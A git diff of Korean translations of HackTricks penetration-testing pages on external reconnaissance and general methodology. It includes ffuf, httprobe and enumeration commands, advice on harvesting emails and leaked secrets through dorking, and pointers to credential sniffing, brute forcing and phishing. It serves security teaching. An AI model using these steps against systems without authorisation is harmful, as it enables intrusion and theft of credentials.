하나 이상의 웹 페이지를 포함하는 **IP 주소를 발견**했다면, 해당 IP에서 **다른 서브도메인을 찾아볼 수 있습니다**. **OSINT 소스**에서 IP의 도메인을 찾거나 해당 IP에서 **VHost 도메인 이름을 무차별 대입**하여 다른 서브도메인을 찾아볼 수 있습니다.
|
||||
|
||||
#### OSINT
|
||||
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API**를 사용하여 **IP에서 VHost를 찾을 수 있습니다**.
|
||||
[**HostHunter**](https://github.com/SpiderLabs/HostHunter) **또는 다른 API**를 사용하여 **IP에서 VHosts를 찾을 수 있습니다**.
|
||||
|
||||
**무차별 대입**
|
||||
|
||||
|
@ -442,7 +447,7 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS 브루트 포스**
|
||||
|
||||
가끔 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때에만 _**Access-Control-Allow-Origin**_ 헤더를 반환하는 페이지를 발견할 수 있습니다. 이러한 시나리오에서 이러한 동작을 남용하여 **새로운 서브도메인**을 **발견**할 수 있습니다.
|
||||
가끔 유효한 도메인/서브도메인이 _**Origin**_ 헤더에 설정될 때만 헤더 _**Access-Control-Allow-Origin**_을 반환하는 페이지를 찾을 수 있습니다. 이러한 시나리오에서 이 동작을 남용하여 **새로운 서브도메인**을 **발견**할 수 있습니다.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -453,15 +458,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
|
||||
### **모니터링**
|
||||
|
||||
도메인의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)가 수행합니다.
|
||||
**도메인**의 **새로운 서브도메인**이 생성되는지 **모니터링**하여 **Certificate Transparency** 로그를 통해 확인할 수 있습니다. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)를 사용하세요.
|
||||
|
||||
### **취약점 탐색**
|
||||
|
||||
가능한 [**서브도메인 탈취**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)을 확인하세요.\
|
||||
**서브도메인**이 **S3 버킷**을 가리키는 경우, [**권한을 확인**](../../network-services-pentesting/pentesting-web/buckets/)하세요.
|
||||
|
||||
자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 찾으면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **포트 스캔** (nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\
|
||||
_때로는 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으므로 주의하세요._
|
||||
자산 발견에서 이미 찾은 IP와 다른 **IP를 가리키는 서브도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 방법**을 찾을 수 있습니다.\
|
||||
_가끔 서브도메인이 클라이언트가 제어하지 않는 IP에 호스팅되어 있어 범위에 포함되지 않을 수 있으니 주의하세요._
|
||||
|
||||
## IPs
|
||||
|
||||
|
@ -472,31 +477,31 @@ _때로는 서브도메인이 클라이언트가 제어하지 않는 IP에 호
|
|||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
도메인이 특정 IP 주소를 가리키는지 확인할 수 있는 도구 [**hakip2host**](https://github.com/hakluke/hakip2host)도 있습니다.
|
||||
도메인이 특정 IP 주소를 가리키는지 확인할 수 있는 도구 [**hakip2host**](https://github.com/hakluke/hakip2host)를 사용할 수도 있습니다.
|
||||
|
||||
### **취약점 탐색**
|
||||
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요 (거기에 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**.
|
||||
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔**을 수행하세요(거기에서 흥미로운 것을 찾을 가능성이 높지 않습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있습니다**.
|
||||
|
||||
**호스트를 스캔하는 방법에 대한** [**가이드**](../pentesting-network/) **를 찾으세요.**
|
||||
|
||||
## 웹 서버 탐색
|
||||
|
||||
> 모든 기업과 그 자산을 찾았으며 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 찾아보는 시간입니다.
|
||||
> 모든 기업과 자산을 찾았으며 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 찾아보는 시간입니다.
|
||||
|
||||
이전 단계에서 이미 발견한 **IP 및 도메인의 탐색**을 수행했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 팁**을 살펴보겠습니다.
|
||||
이전 단계에서 이미 발견된 IP 및 도메인을 **재탐색**했을 가능성이 높으므로 **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 아직이라면 이제 범위 내의 웹 서버를 찾는 **빠른 트릭**을 살펴보겠습니다.
|
||||
|
||||
이것은 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다 (**범위 내에서 허용되는 경우**).
|
||||
이는 **웹 앱 발견을 위해 지향**되므로 범위 내에서 **취약점** 및 **포트 스캔**도 수행해야 합니다(**범위 내에서 허용되는 경우**).
|
||||
|
||||
[**masscan을 사용하여 웹 서버와 관련된 열린 포트를 빠르게 찾을 수 있는 빠른 방법**은 여기에서 찾을 수 있습니다](../pentesting-network/#http-port-discovery).\
|
||||
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80 (http) 및 443 (https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다:
|
||||
다른 웹 서버를 찾는 데 유용한 도구로 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 및 [**httpx**](https://github.com/projectdiscovery/httpx)가 있습니다. 도메인 목록을 전달하면 포트 80(http) 및 443(https)에 연결을 시도합니다. 추가로 다른 포트를 시도하도록 지시할 수도 있습니다.
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **스크린샷**
|
||||
|
||||
이제 **회사의 IP**와 **도메인** 및 **서브도메인** 중에서 **모든 웹 서버**를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그들의 **스크린샷**을 찍는 것부터 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다.
|
||||
이제 **회사의 IP**와 **도메인** 및 **서브도메인** 중 **모든 웹 서버**를 발견했으므로 아마도 **어디서부터 시작해야 할지 모를 것**입니다. 그래서, 간단하게 시작하고 그들의 스크린샷을 찍는 것으로 시작합시다. **메인 페이지**를 살펴보기만 해도 **취약할 가능성이 높은** **이상한** 엔드포인트를 찾을 수 있습니다.
|
||||
|
||||
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**를 사용할 수 있습니다.**
|
||||
|
||||
|
@ -504,29 +509,29 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## 공용 클라우드 자산
|
||||
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 그 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
|
||||
회사에 속한 잠재적인 클라우드 자산을 찾으려면 해당 회사를 식별하는 키워드 목록부터 시작해야 합니다. 예를 들어, 암호화폐 회사의 경우 "crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">와 같은 단어를 사용할 수 있습니다.
|
||||
|
||||
또한 **버킷에서 사용되는 일반 단어들의 단어 목록**이 필요합니다:
|
||||
또한 **버킷에 사용되는 일반 단어들의 단어 목록**이 필요합니다:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 DNS 브루트포스 라운드**](./#second-dns-bruteforce-round)를 확인하십시오).
|
||||
그런 다음 해당 단어들로 **순열을 생성**해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하십시오).
|
||||
|
||||
생성된 단어 목록을 사용하여 [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) 또는 [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
|
||||
|
||||
클라우드 자산을 찾을 때 **AWS의 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
|
||||
클라우드 자산을 찾을 때 **AWS 버킷 이상을 찾아야** 한다는 것을 기억하십시오.
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
**공개 버킷이나 노출된 클라우드 함수**와 같은 것을 발견하면 **접근**하여 그들이 제공하는 것을 확인하고 악용할 수 있는지 확인해야 합니다.
|
||||
**공개 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접근**하여 제공되는 것을 확인하고 악용할 수 있는지 확인해야 합니다.
|
||||
|
||||
## 이메일
|
||||
|
||||
범위 내의 **도메인** 및 **서브도메인**을 가지고 있으면 기본적으로 이메일을 검색하기 시작할 수 있는 모든 것을 갖추고 있습니다. 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다:
|
||||
범위 내의 **도메인** 및 **서브도메인**을 가지고 있으면 기본적으로 이메일을 검색하기 시작할 수 있는 모든 것이 있습니다. 회사의 이메일을 찾는 데 가장 잘 작동한 **API** 및 **도구**는 다음과 같습니다:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIs와 함께
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - API와 함께
|
||||
* [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
|
||||
* [**https://app.snov.io/**](https://app.snov.io/)의 API (무료 버전)
|
||||
* [**https://minelead.io/**](https://minelead.io/)의 API (무료 버전)
|
||||
|
@ -548,18 +553,18 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## 비밀 유출
|
||||
|
||||
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사의 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다:
|
||||
자격 증명 유출은 **민감한 정보가 유출되고 판매된** 회사 해킹과 관련이 있습니다. 그러나 회사는 그러한 데이터베이스에 없는 정보가 포함된 **다른 유출**에 영향을 받을 수 있습니다:
|
||||
|
||||
### Github 유출
|
||||
|
||||
자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사의 **사용자**가 작업하는 공개 저장소에서 유출될 수 있습니다.\
|
||||
자격 증명 및 API는 **회사의 공개 저장소**나 해당 github 회사에서 일하는 **사용자**의 **공개 저장소**에 유출될 수 있습니다.\
|
||||
**Leakos** 도구를 사용하여 **조직** 및 **개발자**의 **모든 공개 저장소**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
|
||||
|
||||
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **제공된 URL을 통해 gitleaks를 다시 실행**하는 데 사용할 수 있습니다.
|
||||
**Leakos**는 때로는 **웹 페이지에도 비밀이 포함**되어 있기 때문에 **제공된 URL을 통해** **gitleaks**를 실행하는 데 사용할 수도 있습니다.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
공격 중인 조직에서 검색할 수 있는 잠재적인 **github dorks**를 찾을 수 있는 이 **페이지**도 확인하십시오:
|
||||
공격 중인 조직에서 검색할 수 있는 잠재적인 **github dorks**를 찾으려면 이 **페이지**도 확인하십시오:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -572,9 +577,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
### Google Dorks
|
||||
|
||||
오래된 Google Dorks는 **노출되지 않아야 할 정보를 찾는 데 항상 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다.
|
||||
오래된 Google Dorks는 항상 **노출되지 않아야 할 정보를 찾는 데 유용**합니다. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없습니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 도구를 사용하여 모두 실행할 수 있습니다.
|
||||
|
||||
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것입니다._
|
||||
_일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행하는 도구는 Google이 매우 빨리 차단할 것이므로 종료되지 않을 것임을 참고하십시오._
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
|
@ -597,27 +602,27 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
**버그 헌터들이 발견한 취약점의 대다수**는 **웹 애플리케이션** 내에 존재하기 때문에, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 있습니다. 이 정보는 [**여기에서 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별 언급을 하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다.
|
||||
또한 [**웹 자동화 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별 언급을 하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾지는 못할지라도, **일부 초기 웹 정보를 얻기 위해 워크플로에 구현하는 데 유용**합니다.
|
||||
|
||||
## 요약
|
||||
|
||||
> 축하합니다! 이 시점에서 이미 **모든 기본 열거**를 수행했습니다. 네, 이것은 기본적인 것이며 (나중에 더 많은 트릭을 볼 것입니다).
|
||||
> 축하합니다! 이 시점에서 이미 **모든 기본 열거**를 수행했습니다. 네, 이것은 기본적인 것이며 (나중에 더 많은 속임수를 볼 것입니다).
|
||||
|
||||
따라서 이미 다음을 수행했습니다:
|
||||
|
||||
1. 범위 내의 **모든 회사**를 찾았습니다.
|
||||
2. 회사에 속한 **모든 자산**을 찾았습니다 (범위 내에 있다면 취약성 스캔 수행).
|
||||
2. 회사에 속한 **모든 자산**을 찾았으며 (범위 내에 있다면 취약성 스캔 수행)
|
||||
3. 회사에 속한 **모든 도메인**을 찾았습니다.
|
||||
4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있었나요?).
|
||||
4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있었나요?)
|
||||
5. 범위 내의 **모든 IP** (CDN에서 **아닌 것 포함**)를 찾았습니다.
|
||||
6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?).
|
||||
6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?)
|
||||
7. 회사에 속한 **잠재적인 공개 클라우드 자산**을 모두 찾았습니다.
|
||||
8. **큰 승리를 쉽게 가져다 줄 수 있는 이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다.
|
||||
9. 찾은 모든 웹을 **펜테스팅**했습니다.
|
||||
|
||||
## **전체 Recon 자동 도구**
|
||||
|
||||
주어진 범위에 대해 제안된 작업의 일부를 수행하는 여러 도구가 있습니다.
|
||||
주어진 범위에 대해 제안된 작업 중 일부를 수행할 수 있는 여러 도구가 있습니다.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -628,9 +633,9 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -640,10 +645,10 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks를 광고하길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_포괄적인 폴란드어 작문 및 구사 능력 필요_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -32,20 +32,20 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### 1 - [네트워크 내의 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
|
||||
|
||||
**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내의 호스트** (내부 테스트) 또는 **인터넷 상의 회사 자산**을 찾는 것이 관심사일 수 있습니다.
|
||||
**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내의 호스트**를 찾는 것이나 **인터넷 상의 회사 자산**을 찾는 것이 관심을 끌 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스하게 되면이 가이드를 다시 시작해야합니다.
|
||||
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스한 후에는이 가이드를 다시 시작해야합니다.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**네트워크에서 재미있는 시간 보내기**](pentesting-network/) **(내부)**
|
||||
### **2-** [**네트워크에서 재미있는 시간**](pentesting-network/) **(내부)**
|
||||
|
||||
**이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
|
||||
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
|
||||
|
||||
**호스트의 취약점을 찾을 때 처음 해야 할 일은** 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다.
|
||||
**호스트의 취약점을 찾을 때 가장 먼저 해야 할 일은** 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다.
|
||||
|
||||
### **4-** [서비스 버전 취약점 검색](search-exploits.md)
|
||||
|
||||
|
@ -55,34 +55,34 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야 합니다**.
|
||||
|
||||
**이 책에서는 가장 일반적인 서비스를 펜테스트하는 가이드를 찾을 수 있습니다** (그리고 일반적이지 않은 서비스도 있음)**. 왼쪽 색인에서** _**PENTESTING**_ **섹션을 찾으세요** (서비스는 기본 포트에 따라 정렬됨).
|
||||
**이 책 안에는 가장 일반적인 서비스를 펜테스트하는 가이드** (그리고 그렇게 흔하지 않은 것들도)**이 포함되어 있습니다.** 왼쪽 목차에서** _**PENTESTING**_ **섹션**을 찾아보세요 (서비스는 기본 포트에 따라 정렬됨).
|
||||
|
||||
**가장 포괄적인 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
|
||||
또한 여기에서 [**소프트웨어에서 알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)를 찾을 수 있습니다.
|
||||
**가장 넓은 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
|
||||
또한 소프트웨어에서 [**알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)도 여기에서 찾을 수 있습니다.
|
||||
|
||||
**색인에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요.** Google에서 아무것도 찾을 수 없다면 **자체 블라인드 펜테스팅**을 수행하세요. 서비스에 연결하여 퍼징하고 응답을 읽는 것부터 시작할 수 있습니다.
|
||||
**인덱스에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요.** Google에서 아무것도 찾을 수 없다면 **자체 블라인드 펜테스팅**을 수행하십시오. 서비스에 연결하여 퍼징하고 응답을 읽는 것부터 시작할 수 있습니다 (있는 경우).
|
||||
|
||||
#### 5.1 자동 도구
|
||||
|
||||
**자동 취약점 평가를 수행할 수 있는 여러 도구도 있습니다.** **[Legion](https://github.com/carlospolop/legion)**을 시도해보는 것을 권장합니다. 이 도구는 이 책에서 찾을 수 있는 서비스 펜테스팅에 관한 노트를 기반으로 만들어졌습니다.
|
||||
**자동 취약점 평가를 수행할 수 있는 여러 도구**도 있습니다. **이 책에서 찾을 수 있는 서비스 펜테스팅에 관한 노트를 기반으로 한** [**Legion**](https://github.com/carlospolop/legion)**을 시도해보는 것을 권장합니다.**
|
||||
|
||||
#### **5.2 서비스 브루트 포싱**
|
||||
|
||||
일부 시나리오에서 **브루트 포스**가 **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱의 치트 시트를 여기에서 찾을 수 있습니다**](brute-force.md)**.**
|
||||
일부 시나리오에서 **브루트 포스**가 **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱의 CheatSheet를 여기에서 찾을 수 있습니다**](brute-force.md)**.**
|
||||
|
||||
### 6- [피싱](phishing-methodology/)
|
||||
|
||||
이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크에 들어가기 위해 **일부 피싱을 시도**해야 할 수 있습니다. 제 피싱 방법론은 [여기](phishing-methodology/)에서 읽을 수 있습니다.
|
||||
